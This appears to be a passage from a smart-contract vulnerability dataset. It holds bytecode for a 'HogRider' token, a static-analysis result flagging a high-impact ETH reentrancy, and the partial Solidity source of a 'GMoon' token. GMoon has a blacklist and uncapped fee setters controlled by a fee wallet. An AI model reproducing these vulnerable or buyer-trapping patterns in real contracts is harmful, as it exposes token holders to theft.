000000000000000000000000000000000000000000000000000000000815260040161076c9061318a565b60405180910390fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107b66115dc565b73ffffffffffffffffffffffffffffffffffffffff16148061082c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108146115dc565b73ffffffffffffffffffffffffffffffffffffffff16145b61083557600080fd5b60005b81518110156108c65760016010600084848151811061085a576108596131aa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108be90613208565b915050610838565b5050565b60606040518060400160405280600881526020017f486f675269646572000000000000000000000000000000000000000000000000815250905090565b600061091b6109146115dc565b84846115e4565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600068056bc75e2d63100000905090565b60006109698484846117af565b610a2a846109756115dc565b610a2585604051806060016040528060288152602001613c4960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109db6115dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120349092919063ffffffff16565b6115e4565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a726115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af69061318a565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610b626115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be69061318a565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c4d6115dc565b73ffffffffffffffffffffffffffffffffffffffff161480610cc35750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cab6115dc565b73ffffffffffffffffffffffffffffffffffffffff16145b610ccc57600080fd5b6000479050610cda81612098565b50565b6000610d27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612104565b9050919050565b610d366115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dba9061318a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e896115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0d9061318a565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610f6f6115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ffc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff39061318a565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600481526020017f484f475300000000000000000000000000000000000000000000000000000000815250905090565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661109d6115dc565b73ffffffffffffffffffffffffffffffffffffffff1614806111135750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110fb6115dc565b73ffffffffffffffffffffffffffffffffffffffff16145b61111c57600080fd5b8060188190555050565b61112e6115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b29061318a565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006111f16111ea6115dc565b84846117af565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661125c6115dc565b73ffffffffffffffffffffffffffffffffffffffff1614806112d25750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112ba6115dc565b73ffffffffffffffffffffffffffffffffffffffff16145b6112db57600080fd5b60006112e630610cdd565b90506112f181612172565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113836115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611410576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114079061318a565b60405180910390fd5b8060178190555050565b6114226115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a69061318a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561151f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611516906132c3565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611654576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164b90613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bb906133e7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117a29190612f15565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561181f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181690613479565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561188f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118869061350b565b60405180910390fd5b600081116118d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c99061359d565b60405180910390fd5b6118da610f3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119485750611918610f3e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d3357601560149054906101000a900460ff166119d757611969610f3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146119d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119cd9061362f565b60405180910390fd5b5b601654811115611a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a139061369b565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ac05750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611aff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af69061372d565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611bac5760175481611b6184610cdd565b611b6b919061374d565b10611bab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba290613815565b60405180910390fd5b5b6000611bb730610cdd565b9050600060185482101590506016548210611bd25760165491505b808015611bea575060158054906101000a900460ff16155b8015611c445750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750601560169054906101000a900460ff165b8015611cb25750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d085750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d3057611d1682612172565b60004790506000811115611d2e57611d2d47612098565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611dda5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611e8d5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611e8c5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611e9b5760009050612022565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611f465750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611f5e57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120095750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561202157600a54600c81905550600b54600d819055505b5b61202e848484846123f8565b50505050565b600083831115829061207c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120739190612dbe565b60405180910390fd5b506000838561208b9190613835565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612100573d6000803e3d6000fd5b5050565b600060065482111561214b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612142906138db565b60405180910390fd5b6000612155612425565b905061216a818461245090919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156121a9576121a8612b4c565b5b6040519080825280602002602001820160405280156121d75781602001602082028036833780820191505090505b50905030816000815181106121ef576121ee6131aa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561229157600080fd5b505afa1580156122a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122c99190613910565b816001815181106122dd576122dc6131aa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061234430601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115e4565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016123a8959493929190613a36565b600060405180830381600087803b1580156123c257600080fd5b505af11580156123d6573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124065761240561249a565b5b6124118484846124dd565b8061241f5761241e6126a8565b5b50505050565b60008060006124326126bc565b91509150612449818361245090919063ffffffff16565b9250505090565b600061249283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061271e565b905092915050565b6000600c541480156124ae57506000600d54145b156124b8576124db565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806124ef87612781565b95509550955095509550955061254d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127e990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125e285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061262e81612891565b612638848361294e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126959190612f15565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008060006006549050600068056bc75e2d6310000090506126f268056bc75e2d6310000060065461245090919063ffffffff16565b8210156127115760065468056bc75e2d6310000093509350505061271a565b81819350935050505b9091565b60008083118290612765576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161275c9190612dbe565b60405180910390fd5b50600083856127749190613abf565b9050809150509392505050565b600080600080600080600080600061279e8a600c54600d54612988565b92509250925060006127ae612425565b905060008060006127c18e878787612a1e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061282b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612034565b905092915050565b6000808284612842919061374d565b905083811015612887576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161287e90613b3c565b60405180910390fd5b8091505092915050565b600061289b612425565b905060006128b28284612aa790919063ffffffff16565b905061290681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612963826006546127e990919063ffffffff16565b60068190555061297e8160075461283390919063ffffffff16565b6007819055505050565b6000806000806129b460646129a6888a612aa790919063ffffffff16565b61245090919063ffffffff16565b905060006129de60646129d0888b612aa790919063ffffffff16565b61245090919063ffffffff16565b90506000612a07826129f9858c6127e990919063ffffffff16565b6127e990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a378589612aa790919063ffffffff16565b90506000612a4e8689612aa790919063ffffffff16565b90506000612a658789612aa790919063ffffffff16565b90506000612a8e82612a8085876127e990919063ffffffff16565b6127e990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612aba5760009050612b1c565b60008284612ac89190613b5c565b9050828482612ad79190613abf565b14612b17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0e90613c28565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612b8482612b3b565b810181811067ffffffffffffffff82111715612ba357612ba2612b4c565b5b80604052505050565b6000612bb6612b22565b9050612bc28282612b7b565b919050565b600067ffffffffffffffff821115612be257612be1612b4c565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c2382612bf8565b9050919050565b612c3381612c18565b8114612c3e57600080fd5b50565b600081359050612c5081612c2a565b92915050565b6000612c69612c6484612bc7565b612bac565b90508083825260208201905060208402830185811115612c8c57612c8b612bf3565b5b835b81811015612cb55780612ca18882612c41565b845260208401935050602081019050612c8e565b5050509392505050565b600082601f830112612cd457612cd3612b36565b5b8135612ce4848260208601612c56565b91505092915050565b600060208284031215612d0357612d02612b2c565b5b600082013567ffffffffffffffff811115612d2157612d20612b31565b5b612d2d84828501612cbf565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612d70578082015181840152602081019050612d55565b83811115612d7f576000848401525b50505050565b6000612d9082612d36565b612d9a8185612d41565b9350612daa818560208601612d52565b612db381612b3b565b840191505092915050565b60006020820190508181036000830152612dd88184612d85565b905092915050565b6000819050919050565b612df381612de0565b8114612dfe57600080fd5b50565b600081359050612e1081612dea565b92915050565b60008060408385031215612e2d57612e2c612b2c565b5b6000612e3b85828601612c41565b9250506020612e4c85828601612e01565b9150509250929050565b60008115159050919050565b612e6b81612e56565b82525050565b6000602082019050612e866000830184612e62565b92915050565b6000819050919050565b6000612eb1612eac612ea784612bf8565b612e8c565b612bf8565b9050919050565b6000612ec382612e96565b9050919050565b6000612ed582612eb8565b9050919050565b612ee581612eca565b82525050565b6000602082019050612f006000830184612edc565b92915050565b612f0f81612de0565b82525050565b6000602082019050612f2a6000830184612f06565b92915050565b600080600060608486031215612f4957612f48612b2c565b5b6000612f5786828701612c41565b9350506020612f6886828701612c41565b9250506040612f7986828701612e01565b9150509250925092565b600060ff82169050919050565b612f9981612f83565b82525050565b6000602082019050612fb46000830184612f90565b92915050565b612fc381612c18565b82525050565b6000602082019050612fde6000830184612fba565b92915050565b600060208284031215612ffa57612ff9612b2c565b5b600061300884828501612c41565b91505092915050565b61301a81612e56565b811461302557600080fd5b50565b60008135905061303781613011565b92915050565b60006020828403121561305357613052612b2c565b5b600061306184828501613028565b91505092915050565b6000602082840312156130805761307f612b2c565b5b600061308e84828501612e01565b91505092915050565b600080600080608085870312156130b1576130b0612b2c565b5b60006130bf87828801612e01565b94505060206130d087828801612e01565b93505060406130e187828801612e01565b92505060606130f287828801612e01565b91505092959194509250565b6000806040838503121561311557613114612b2c565b5b600061312385828601612c41565b925050602061313485828601612c41565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613174602083612d41565b915061317f8261313e565b602082019050919050565b600060208201905081810360008301526131a381613167565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061321382612de0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613246576132456131d9565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006132ad602683612d41565b91506132b882613251565b604082019050919050565b600060208201905081810360008301526132dc816132a0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061333f602483612d41565b915061334a826132e3565b604082019050919050565b6000602082019050818103600083015261336e81613332565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006133d1602283612d41565b91506133dc82613375565b604082019050919050565b60006020820190508181036000830152613400816133c4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613463602583612d41565b915061346e82613407565b604082019050919050565b6000602082019050818103600083015261349281613456565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006134f5602383612d41565b915061350082613499565b604082019050919050565b60006020820190508181036000830152613524816134e8565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613587602983612d41565b91506135928261352b565b604082019050919050565b600060208201905081810360008301526135b68161357a565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613619603f83612d41565b9150613624826135bd565b604082019050919050565b600060208201905081810360008301526136488161360c565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613685601c83612d41565b91506136908261364f565b602082019050919050565b600060208201905081810360008301526136b481613678565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613717602383612d41565b9150613722826136bb565b604082019050919050565b600060208201905081810360008301526137468161370a565b9050919050565b600061375882612de0565b915061376383612de0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613798576137976131d9565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b60006137ff602383612d41565b915061380a826137a3565b604082019050919050565b6000602082019050818103600083015261382e816137f2565b9050919050565b600061384082612de0565b915061384b83612de0565b92508282101561385e5761385d6131d9565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006138c5602a83612d41565b91506138d082613869565b604082019050919050565b600060208201905081810360008301526138f4816138b8565b9050919050565b60008151905061390a81612c2a565b92915050565b60006020828403121561392657613925612b2c565b5b6000613934848285016138fb565b91505092915050565b6000819050919050565b600061396261395d6139588461393d565b612e8c565b612de0565b9050919050565b61397281613947565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6139ad81612c18565b82525050565b60006139bf83836139a4565b60208301905092915050565b6000602082019050919050565b60006139e382613978565b6139ed8185613983565b93506139f883613994565b8060005b83811015613a29578151613a1088826139b3565b9750613a1b836139cb565b9250506001810190506139fc565b5085935050505092915050565b600060a082019050613a4b6000830188612f06565b613a586020830187613969565b8181036040830152613a6a81866139d8565b9050613a796060830185612fba565b613a866080830184612f06565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613aca82612de0565b9150613ad583612de0565b925082613ae557613ae4613a90565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613b26601b83612d41565b9150613b3182613af0565b602082019050919050565b60006020820190508181036000830152613b5581613b19565b9050919050565b6000613b6782612de0565b9150613b7283612de0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613bab57613baa6131d9565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613c12602183612d41565b9150613c1d82613bb6565b604082019050919050565b60006020820190508181036000830152613c4181613c05565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202c9dbdf53cb34246f1078502fcc0a9f36e45ce17b1e689b87743b995d300012264736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
10,062
0xE5d21A4099cbeD249d58C962B11B2F558B4E3dAa
/** * **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Gmoon is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 4; address payable private _feeAddrWallet1 = payable(0x0990EC88351d875A8f8B22Fa6D79C325882f5860); address payable private _feeAddrWallet2 = payable(0x0990EC88351d875A8f8B22Fa6D79C325882f5860); string private constant _name = "GMoon"; string private constant _symbol = "GMOON"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! 